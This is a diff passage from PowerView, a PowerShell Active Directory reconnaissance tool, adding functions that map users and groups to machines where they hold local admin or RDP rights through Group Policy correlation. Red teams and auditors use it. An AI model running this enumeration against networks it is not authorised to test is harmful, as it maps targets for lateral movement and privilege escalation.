+ # extract out ALL members
+ $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
+
+ if($ResolveMemberSIDs) {
+ # if the resulting member is username and not a SID, attempt to resolve it
+ $GroupMembers = @()
+ ForEach($Member in $MembershipValue) {
+ if($Member -and ($Member.Trim() -ne '')) {
+ if($Member -notmatch '^S-1-.*') {
+ $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
+ if($MemberSID) {
+ $GroupMembers += $MemberSID
+ }
+ else {
+ $GroupMembers += $Member
+ }
+ }
+ else {
+ $GroupMembers += $Member
+ }
+ }
+ }
+ $MembershipValue = $GroupMembers
+ }
+
+ if(-not $Memberships[$Group]) {
+ $Memberships[$Group] = @{}
+ }
+ if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
+ $Memberships[$Group].Add($Relation, $MembershipValue)
+ }
+
+ ForEach ($Membership in $Memberships.GetEnumerator()) {
+ if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
+ # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
+ $GroupSID = $Membership.Key.Trim('*')
+ if($GroupSID -and ($GroupSID.Trim() -ne '')) {
+ $GroupName = Convert-SidToName -SID $GroupSID
+ }
+ else {
+ $GroupName = $False
+ }
+ }
+ else {
+ $GroupName = $Membership.Key
+
+ if($GroupName -and ($GroupName.Trim() -ne '')) {
+ if($Groupname -match 'Administrators') {
+ $GroupSID = 'S-1-5-32-544'
+ }
+ elseif($Groupname -match 'Remote Desktop') {
+ $GroupSID = 'S-1-5-32-555'
+ }
+ elseif($Groupname -match 'Guests') {
+ $GroupSID = 'S-1-5-32-546'
+ }
+ elseif($GroupName.Trim() -ne '') {
+ $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID
+ }
+ else {
+ $GroupSID = $Null
+ }
+ }
+ }
+
+ $GPOGroup = New-Object PSObject
+ $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
+ $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
+ $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
+ $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
+ $GPOGroup | Add-Member Noteproperty 'Filters' $Null
+ $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
+ $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
+ $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
+ $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
+ $GPOGroup
+ }
+ }
+
+ $ParseArgs = @{
+ 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
+ 'UsePSDrive' = $UsePSDrive
+ }
+
+ Get-GroupsXML @ParseArgs | ForEach-Object {
+ if($ResolveMemberSIDs) {
+ $GroupMembers = @()
+ ForEach($Member in $_.GroupMembers) {
+ if($Member -and ($Member.Trim() -ne '')) {
+ if($Member -notmatch '^S-1-.*') {
+ # if the resulting member is username and not a SID, attempt to resolve it
+ $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
+ if($MemberSID) {
+ $GroupMembers += $MemberSID
+ }
+ else {
+ $GroupMembers += $Member
+ }
+ }
+ else {
+ $GroupMembers += $Member
+ }
+ }
+ }
+ $_.GroupMembers = $GroupMembers
+ }
+
+ $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
+ $_ | Add-Member Noteproperty 'GPOName' $GPOName
+ $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
+ $_
+ }
+ }
+}
+
+
+function Find-GPOLocation {
+<#
+ .SYNOPSIS
+
+ Enumerates the machines where a specific user/group is a member of a specific
+ local group, all through GPO correlation.
+
+ Author: @harmj0y
+ License: BSD 3-Clause
+ Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite
+ Optional Dependencies: None
+
+ .DESCRIPTION
+
+ Takes a user/group name and optional domain, and determines the computers in the domain
+ the user/group has local admin (or RDP) rights to.
+
+ It does this by:
+ 1. resolving the user/group to its proper SID
+ 2. enumerating all groups the user/group is a current part of
+ and extracting all target SIDs to build a target SID list
+ 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
+ Get-NetGPOGroup
+ 4. matching the target SID list to the queried GPO SID list
+ to enumerate all GPO the user is effectively applied with
+ 5. enumerating all OUs and sites and applicable GPO GUIs are
+ applied to through gplink enumerating
+ 6. querying for all computers under the given OUs or sites
+
+ If no user/group is specified, all user/group -> machine mappings discovered through
+ GPO relationships are returned.
+
+ .PARAMETER UserName
+
+ A (single) user name name to query for access.
+
+ .PARAMETER GroupName
+
+ A (single) group name name to query for access.
+
+ .PARAMETER Domain
+
+ Optional domain the user exists in for querying, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER LocalGroup
+
+ The local group to check access against.
+ Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
+ or a custom local SID. Defaults to local 'Administrators'.
+
+ .PARAMETER UsePSDrive
+
+ Switch. Mount any found policy files with temporary PSDrives.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .EXAMPLE
+
+ PS C:\> Find-GPOLocation
+
+ Find all user/group -> machine relationships where the user/group is a member
+ of the local administrators group on target machines.
+
+ .EXAMPLE
+
+ PS C:\> Find-GPOLocation -UserName dfm
+
+ Find all computers that dfm user has local administrator rights to in
+ the current domain.
+
+ .EXAMPLE
+
+ PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local
+
+ Find all computers that dfm user has local administrator rights to in
+ the dev.testlab.local domain.
+
+ .EXAMPLE
+
+ PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP
+
+ Find all computers that jason has local RDP access rights to in the domain.
+#>
+
+ [CmdletBinding()]
+ Param (
+ [String]
+ $UserName,
+
+ [String]
+ $GroupName,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [String]
+ $LocalGroup = 'Administrators',
+
+ [Switch]
+ $UsePSDrive,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200
+ )
+
+ if($UserName) {
+ # if a group name is specified, get that user object so we can extract the target SID
+ $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1
+ $UserSid = $User.objectsid
+
+ if(-not $UserSid) {
+ Throw "User '$UserName' not found!"
+ }
+
+ $TargetSIDs = @($UserSid)
+ $ObjectSamAccountName = $User.samaccountname
+ $TargetObject = $UserSid
+ }
+ elseif($GroupName) {
+ # if a group name is specified, get that group object so we can extract the target SID
+ $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1
+ $GroupSid = $Group.objectsid
+
+ if(-not $GroupSid) {
+ Throw "Group '$GroupName' not found!"
+ }
+
+ $TargetSIDs = @($GroupSid)
+ $ObjectSamAccountName = $Group.samaccountname
+ $TargetObject = $GroupSid
+ }
+ else {
+ $TargetSIDs = @('*')
+ }
+
+ # figure out what the SID is of the target local group we're checking for membership in
+ if($LocalGroup -like "*Admin*") {
+ $TargetLocalSID = 'S-1-5-32-544'
+ }
+ elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) {
+ $TargetLocalSID = 'S-1-5-32-555'
+ }
+ elseif ($LocalGroup -like "S-1-5-*") {
+ $TargetLocalSID = $LocalGroup
+ }
+ else {
+ throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format."
+ }
+
+ # if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to
+ # get all effective security SIDs this object is a part of
+ if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) {
+ $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids
+ }
+
+ if(-not $TargetSIDs) {
+ throw "No effective target SIDs!"
+ }
+
+ Write-Verbose "TargetLocalSID: $TargetLocalSID"
+ Write-Verbose "Effective target SIDs: $TargetSIDs"
+
+ $GPOGroupArgs = @{
+ 'Domain' = $Domain
+ 'DomainController' = $DomainController
+ 'UsePSDrive' = $UsePSDrive
+ 'ResolveMemberSIDs' = $True
+ 'PageSize' = $PageSize
+ }
+
+ # enumerate all GPO group mappings for the target domain
+ $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {
+
+ $GPOgroup = $_
+
+ # if the locally set group is what we're looking for or the locally set group is a
+ # member of what we're looking for, check the GroupMembers for our target SID
+ if( ($GPOgroup.GroupSID -match $TargetLocalSID) -or ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
+ $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
+ if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
+ $GPOgroup
+ }
+ }
+ }
+ } | Sort-Object -Property GPOName -Unique
+
+ $GPOgroups | ForEach-Object {
+
+ $GPOname = $_.GPODisplayName
+ $GPOguid = $_.GPOName
+ $GPOPath = $_.GPOPath
+ $GPOType = $_.GPOType
+ $GPOMembers = $_.GroupMembers
+ $Filters = $_.Filters
+
+ if(-not $TargetObject) {
+ # if the * wildcard was used, set the ObjectDistName as the GPO member SID set
+ # so all relationship mappings are output
+ $TargetObjectSIDs = $GPOMembers
+ }
+ else {
+ $TargetObjectSIDs = $TargetObject
+ }
+
+ # find any OUs that have this GUID applied and then retrieve any computers from the OU
+ Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object {
+ if($Filters) {
+ # filter for computer name/org unit if a filter is specified
+ # TODO: handle other filters (i.e. OU filters?) again, I hate you GPP...
+ $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object {
+ $_.adspath -match ($Filters.Value)
+ } | ForEach-Object { $_.dnshostname }
+ }
+ else {
+ $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize
+ }
+
+ if($OUComputers) {
+ if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
+
+ ForEach ($TargetSid in $TargetObjectSIDs) {
+ $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
+
+ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+
+ $GPOLocation = New-Object PSObject
+ $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
+ $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
+ $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
+ $GPOLocation | Add-Member Noteproperty 'Domain' $Domain
+ $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname
+ $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid
+ $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath
+ $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType
+ $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
+ $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers
+ $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')
+ $GPOLocation
+ }
+ }
+ }
+
+ # # find any sites that have this GUID applied
+ # # TODO: wait to implement this into BloodHound...
+ # Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {
+
+ # ForEach ($TargetSid in $TargetObjectSIDs) {
+ # $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
+
+ # $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+
+ # $AppliedSite = New-Object PSObject
+ # $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
+ # $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
+ # $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
+ # $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup
+ # $AppliedSite | Add-Member Noteproperty 'Domain' $Domain
+ # $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname
+ # $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid
+ # $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath
+ # $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType
+ # $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
+ # $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
+ # $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')
+ # $AppliedSite
+ # }
+ # }
+ }
+}
+
+
+function Find-GPOComputerAdmin {
+<#
+ .SYNOPSIS
+
+ Takes a computer (or GPO) object and determines what users/groups are in the specified
+ local group for the machine.
+
+ Author: @harmj0y
+ License: BSD 3-Clause
+ Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName
+ Optional Dependencies: None
+
+ .DESCRIPTION
+
+ If a -ComputerName is specified, retrieve the complete computer object, attempt to
+ determine the OU the computer is a part of. Then resolve the computer's site name with
+ Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to
+ enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For
+ each resulting GPO group, resolve the resulting user/group name to a full AD object and
+ return the results. This will return the domain objects that are members of the specified
+ -LocalGroup for the given computer.
+
+ Inverse of Find-GPOLocation.
+
+ .PARAMETER ComputerName
+
+ The computer to determine local administrative access to.
+
+ .PARAMETER OUName
+
+ OU name to determine who has local adminisrtative acess to computers
+ within it.
+
+ .PARAMETER Domain
+
+ Optional domain the computer/OU exists in, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER Recurse
+
+ Switch. If a returned member is a group, recurse and get all members.
+
+ .PARAMETER LocalGroup
+
+ The local group to check access against.
+ Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
+ or a custom local SID.
+ Defaults to local 'Administrators'.
+
+ .PARAMETER UsePSDrive
+
+ Switch. Mount any found policy files with temporary PSDrives.
+
+ .PARAMETER PageSize
+
+ The PageSize to set for the LDAP searcher object.
+
+ .EXAMPLE
+
+ PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local
+
+ Finds users who have local admin rights over WINDOWS3 through GPO correlation.
+
+ .EXAMPLE
+
+ PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP
+
+ Finds users who have RDP rights over WINDOWS3 through GPO correlation.
+#>
+
+ [CmdletBinding()]
+ Param (
+ [Parameter(ValueFromPipeline=$True)]
+ [String]
+ $ComputerName,
+
+ [String]
+ $OUName,
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [Switch]
+ $Recurse,
+
+ [String]
+ $LocalGroup = 'Administrators',
+
+ [Switch]
+ $UsePSDrive,
+
+ [ValidateRange(1,10000)]
+ [Int]
+ $PageSize = 200
+ )
+
+ process {
+
+ if(!$ComputerName -and !$OUName) {
+ Throw "-ComputerName or -OUName must be provided"
+ }
+
+ $GPOGroups = @()
+
+ if($ComputerName) {
+ $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
+
+ if(!$Computers) {
+ throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
+ }
+
+ $TargetOUs = @()
+ ForEach($Computer in $Computers) {
+ # extract all OUs a computer is a part of
+ $DN = $Computer.distinguishedname
+
+ $TargetOUs += $DN.split(",") | ForEach-Object {
+ if($_.startswith("OU=")) {
+ $DN.substring($DN.indexof($_))
+ }
+ }
+ }
+
+ # enumerate any linked GPOs for the computer's site
+ $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
+ if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
+ $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
+ if($_.gplink) {
+ $_.gplink.split("][") | ForEach-Object {
+ if ($_.startswith("LDAP")) {
+ $_.split(";")[0]
+ }
+ }
+ }
+ } | ForEach-Object {
+ $GPOGroupArgs = @{
+ 'Domain' = $Domain
+ 'DomainController' = $DomainController
+ 'ResolveMemberSIDs' = $True
+ 'UsePSDrive' = $UsePSDrive
+ 'PageSize' = $PageSize
+ }
+
+ # for each GPO link, get any locally set user/group SIDs
+ Get-NetGPOGroup @GPOGroupArgs
+ }
+ }
+ }
+ else {
+ $TargetOUs = @($OUName)
+ }
+
+ Write-Verbose "Target OUs: $TargetOUs"
+
+ $TargetOUs | Where-Object {$_} | ForEach-Object {
+
+ # for each OU the computer is a part of, get the full OU object
+ $GPOgroups += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object {
+ # and then get any GPO links
+ if($_.gplink) {
+ $_.gplink.split("][") | ForEach-Object {
+ if ($_.startswith("LDAP")) {
+ $_.split(";")[0]
+ }
+ }
+ }
+ } | ForEach-Object {
+ $GPOGroupArgs = @{
+ 'Domain' = $Domain
+ 'DomainController' = $DomainController
+ 'UsePSDrive' = $UsePSDrive
+ 'ResolveMemberSIDs' = $True
+ 'PageSize' = $PageSize
+ }
+ # for each GPO link, get any locally set user/group SIDs
+ Get-NetGPOGroup @GPOGroupArgs
+ }
+ }
+
+ # for each found GPO group, resolve the SIDs of the members
+ $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object {
+ $GPOGroup = $_
+
+ $GPOGroup.GroupMembers | ForEach-Object {
+
+ # resolve this SID to a domain object
+ $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_
+
+ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+
+ $GPOComputerAdmin = New-Object PSObject
+ $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_
+ $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOType.GPOType
+ $GPOComputerAdmin
+
+ # if we're recursing and the current result object is a group
+ if($Recurse -and $GPOComputerAdmin.isGroup) {
+
+ Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object {
+
+ $MemberDN = $_.distinguishedName
+
+ # extract the FQDN from the Distinguished Name
+ $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+
+ $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
+
+ if ($_.samAccountName) {
+ # forest users have the samAccountName set
+ $MemberName = $_.samAccountName
+ }
+ else {
+ # external trust users have a SID, so convert it
+ try {
+ $MemberName = Convert-SidToName $_.cn
+ }
+ catch {
+ # if there's a problem contacting the domain to resolve the SID
+ $MemberName = $_.cn
+ }
+ }
+
+ $GPOComputerAdmin = New-Object PSObject
+ $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid
+ $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep
+ $GPOComputerAdmin
+ }
+ }
+ }
+ }
+ }
+}
+
+
+function Get-DomainPolicy {
+<#
+ .SYNOPSIS
+
+ Returns the default domain or DC policy for a given
+ domain or domain controller.
+
+ Thanks Sean Metacalf (@pyrotek3) for the idea and guidance.
+
+ .PARAMETER Source
+
+ Extract Domain or DC (domain controller) policies.
+
+ .PARAMETER Domain
+
+ The domain to query for default policies, defaults to the current domain.
+
+ .PARAMETER DomainController
+
+ Domain controller to reflect LDAP queries through.
+
+ .PARAMETER ResolveSids
+
+ Switch. Resolve Sids from a DC policy to object names.
+
+ .PARAMETER UsePSDrive
+
+ Switch. Mount any found policy files with temporary PSDrives.
+
+ .EXAMPLE
+
+ PS C:\> Get-DomainPolicy
+
+ Returns the domain policy for the current domain.
+
+ .EXAMPLE
+
+ PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local
+
+ Returns the policy for the MASTER.testlab.local domain controller.
+#>
+
+ [CmdletBinding()]
+ Param (
+ [String]
+ [ValidateSet("Domain","DC")]
+ $Source ="Domain",
+
+ [String]
+ $Domain,
+
+ [String]
+ $DomainController,
+
+ [Switch]
+ $ResolveSids,
+
+ [Switch]
+ $UsePSDrive
+ )
+
+ if($Source -eq "Domain") {
+ # query the given domain for the default domain policy object
+ $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}"
+
+ if($GPO) {
+ # grab the GptTmpl.inf file and parse it
+ $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
+
+ $ParseArgs = @{
+ 'GptTmplPath' = $GptTmplPath
+ 'UsePSDrive' = $UsePSDrive
+ }
+
+ # parse the GptTmpl.inf
+ Get-GptTmpl @ParseArgs
+ }
+
+ }
+ elseif($Source -eq "DC") {
+ # query the given domain/dc for the default domain controller policy object
+ $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}"
+
+ if($GPO) {
+ # grab the GptTmpl.inf file and parse it
+ $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
+
+ $ParseArgs = @{
+ 'GptTmplPath' = $GptTmplPath
+ 'UsePSDrive' = $UsePSDrive
+ }
+
+ # parse the GptTmpl.inf
+ Get-GptTmpl @ParseArgs | ForEach-Object {
+ if($ResolveSids) {
+ # if we're resolving sids in PrivilegeRights to names
+ $Policy = New-Object PSObject
+ $_.psobject.properties | ForEach-Object {
+ if( $_.Name -eq 'PrivilegeRights') {
+
+ $PrivilegeRights = New-Object PSObject
+ # for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate
+ $_.Value.psobject.properties | ForEach-Object {
+
+ $Sids = $_.Value | ForEach-Object {
+ try {
+ if($_ -isnot [System.Array]) {
+ Convert-SidToName $_
+ }
+ else {
+ $_ | ForEach-Object { Convert-SidToName $_ }
+ }
+ }
+ catch {
+ Write-Verbose "Error resolving SID : $_"
+ }
+ }
+
+ $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids
+ }
+
+ $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights
+ }
+ else {
+ $Policy | Add-Member Noteproperty $_.Name $_.Value
+ }
+ }
+ $Policy
+ }
+ else { $_ }
+ }
+ }
+ }
+}
+
+
+
+########################################################
+#
+# Functions that enumerate a single host, either through
+# WinNT, WMI, remote registry, or API calls
+# (with PSReflect).
+#
+########################################################
+
+function Get-NetLocalGroup {
+<#
+ .SYNOPSIS
+
+ Gets a list of all current users in a specified local group,
+ or returns the names of all local groups with -ListGroups.
+
+ .PARAMETER ComputerName
+
+ The hostname or IP to query for local group users.
+
+ .PARAMETER ComputerFile
+
+ File of hostnames/IPs to query for local group users.
+
+ .PARAMETER GroupName
+
+ The local group name to query for users. If not given, it defaults to "Administrators"
+
+ .PARAMETER ListGroups
+
+ Switch. List all the local groups instead of their members.
+ Old Get-NetLocalGroups functionality.
+
+ .PARAMETER Recurse
+
+ Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.
+
+ .PARAMETER API
+
+ Switch. Use API calls instead of the WinNT service provider. Less information,
+ but the results are faster.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetLocalGroup
+
+ Returns the usernames that of members of localgroup "Administrators" on the local host.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP
+
+ Returns all the local administrator accounts for WINDOWSXP
+
+ .EXAMPLE
+
+ PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse
+
+ Returns all effective local/domain users/groups that can access WINDOWS7 with
+ local administrative privileges.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups
+
+ Returns all local groups on the WINDOWS7 host.
+
+ .EXAMPLE
+
+ PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API
+
+ Returns all local groups on the the passed hosts using API calls instead of the
+ WinNT service provider.
+
+ .LINK
+
+ http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
+ http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
+#>
+
+ [CmdletBinding(DefaultParameterSetName = 'WinNT')]
+ param(
+ [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)]
+ [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [String[]]
+ $ComputerName = $Env:ComputerName,
+
+ [Parameter(ParameterSetName = 'WinNT')]
+ [Parameter(ParameterSetName = 'API')]
+ [ValidateScript({Test-Path -Path $_ })]
+ [Alias('HostList')]
+ [String]
+ $ComputerFile,
+
+ [Parameter(ParameterSetName = 'WinNT')]
+ [Parameter(ParameterSetName = 'API')]
+ [String]
+ $GroupName = 'Administrators',
+
+ [Parameter(ParameterSetName = 'WinNT')]
+ [Switch]
+ $ListGroups,
+
+ [Parameter(ParameterSetName = 'WinNT')]
+ [Switch]
+ $Recurse,
+
+ [Parameter(ParameterSetName = 'API')]
+ [Switch]
+ $API
+ )
+
+ process {
+
+ $Servers = @()
+
+ # if we have a host list passed, grab it
+ if($ComputerFile) {
+ $Servers = Get-Content -Path $ComputerFile
+ }
+ else {
+ # otherwise assume a single host name
+ $Servers += $ComputerName | Get-NameField
+ }
+
+ # query the specified group using the WINNT provider, and
+ # extract fields as appropriate from the results
+ ForEach($Server in $Servers) {
+
+ if($API) {
+ # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information
+
+ # arguments for NetLocalGroupGetMembers
+ $QueryLevel = 2
+ $PtrInfo = [IntPtr]::Zero
+ $EntriesRead = 0
+ $TotalRead = 0
+ $ResumeHandle = 0
+
+ # get the local user information
+ $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+
+ # Locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
+
+ $LocalUsers = @()
+
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
+
+ # Work out how mutch to increment the pointer by finding out the size of the structure
+ $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
+
+ # parse all the result structures
+ for ($i = 0; ($i -lt $EntriesRead); $i++) {
+ # create a new int ptr at the given offset and cast the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
+
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+
+ $SidString = ""
+ $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ if($Result2 -eq 0) {
+ Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
+ }
+ else {
+ $LocalUser = New-Object PSObject
+ $LocalUser | Add-Member Noteproperty 'ComputerName' $Server
+ $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname
+ $LocalUser | Add-Member Noteproperty 'SID' $SidString
+
+ $IsGroup = $($Info.lgrmi2_sidusage -ne 'SidTypeUser')
+ $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup
+
+ $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI')
+
+ $LocalUsers += $LocalUser
+ }
+ }
+
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+
+ # try to extract out the machine SID by using the -500 account as a reference
